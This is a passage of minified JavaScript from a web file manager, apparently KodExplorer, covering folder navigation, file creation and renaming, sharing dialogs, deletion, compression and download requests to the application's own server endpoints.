class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0;ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if((void 0==i||""==i)&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){e===!1?$("#makefile").remove():m(e)},_=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,v):i.newFile(a+e,v)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,function(e){e===!1?$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(a)):m(e)});else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){var i={},t=[];e.sort(function(e,i){return e.path==i.path?0:e.path>i.path?1:-1});for(var a=function(e){for(var t=e;""!=e;){if(i[e]!==void 0)return 1==i[e]?!0:t==e?(i[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";i[o]||a(o)||(i[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||t.push(e[n])}return t},_=function(e){if(e){var i=[];return 0==ui.fileLight.fileListSelect().length?i:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})}),v(i))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var t=ui.fileLight.fileListSelect(),a=ui.fileLight.path(t),n=ui.fileLight.type(t);return{path:a,type:n}},g=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:_,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(_().path)},appInstall:function(){i.appInstall(_().path)},openEditor:function(){t.openEditor(_().path)},openWindow:function(){var e=_();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=_(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=ui.fileLight.path($(this)),a=core.path2url(t,!1);e.push({url:a,name:core.pathThis(t),ext:i})}}),t.play(e)}},pathOperate:i,share:function(){i.share(_())},setBackground:function(){var e=core.path2url(_().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=_(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(_().path,m)},download:function(){var e=_(!0);1==e.length&&"file"==e[0].type?t.download(_().path):i.zipDownload(e)},shareEdit:function(){var e=g("path",_().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=g("path",_().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=_(),i=g("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(_().path)},explorerNew:function(){window.open("index.php?/explorer&path="+_().path)},openProject:function(){core.explorerCode(_().path)},search:function(){core.search("",_().path)},fav:function(){var e=_(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,t){if(n()){var a=_(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var i=g("path",a[e].path);void 0!=i&&(a[e].type="share",a[e].path=i.sid)}),i.remove(a,m,e,t)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(_(!0))},cute:function(){n()&&i.cute(_(!0),ui.f5)},zip:function(e){i.zip(_(!0),m,e)},unZip:function(e){n()&&i.unZip(_().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(_(!0),e,m)},copyDrag:function(e,t){i.copyDrag(_(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(_(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(_(!0),e,m)})},info:function(){i.info(_(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+_().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"data_arr="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)<i.charAt(a)?-1:0}return 0},s=function(e,i){if(void 0==e||void 0==i)return 0;var t=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+i).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(t,s+"$1"+s).split(s),l=n.replace(t,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading() +},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t,a){if(t=void 0==t?!1:t,a=void 0==a?!1:a,window.event&&window.event.shiftKey&&(a=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e[0]&&e[0].path){var c="<b>"+htmlEncode(core.pathThis(e[0].path))+"</b>";s=e.length>1?c+' ... <span class="badge">'+e.length+LNG.remove_item+"</span><br/>"+s:c+"<br/>"+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t?d():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:d,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var i=e.path,t=core.pathPre(i);if(t==G.KOD_GROUP_PATH||t==G.KOD_GROUP_SHARE||t==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var t={path:i,type:a,name:core.pathThis(i)};h(t,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(i),void 0!=t&&t()})},h=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},m=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},v=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,i,t,a,n){if(console.log(e,i,t,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},x=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var a="info";1==i.length&&(a="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==i.length&&(n="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,i)})},k=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var a=t.find(".file_md5_loading");if(1==a.length){var o=n(i);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=t.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var i=r.createTextRange();i.moveEnd("character",-r.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else r.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),i+="&access_token="+G.access_token,$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+i+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},N=function(e,i,t){1>e.length||(t||(t="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},L=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},z=function(e,i,t,a){i&&(void 